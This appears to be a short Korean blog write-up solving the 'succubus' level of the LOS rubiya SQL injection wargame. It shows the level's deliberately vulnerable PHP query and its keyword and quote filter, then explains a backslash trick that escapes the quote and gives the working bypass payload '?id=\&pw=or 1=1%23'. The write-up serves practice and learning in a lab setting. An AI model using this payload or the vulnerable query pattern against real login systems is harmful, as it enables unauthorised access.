<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
드디어 single quotation 을 우회하는 기법이다.
\를 이용해서 '를 문자로 만들어버리면 된다.
그러면 and pw= 가 id 의 입력값이 되어버리겠지
?id=\&pw=or 1=1%23
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : nightmare (0) | 2020.08.03 |
---|---|
LOS-rubiya : Zombie_assassin (0) | 2020.08.03 |
LOS-rubiya : Assassin (0) | 2020.08.03 |
LOS_rubiya : Giant (0) | 2020.08.03 |
LOS_rubiya : Bugbear (0) | 2020.08.03 |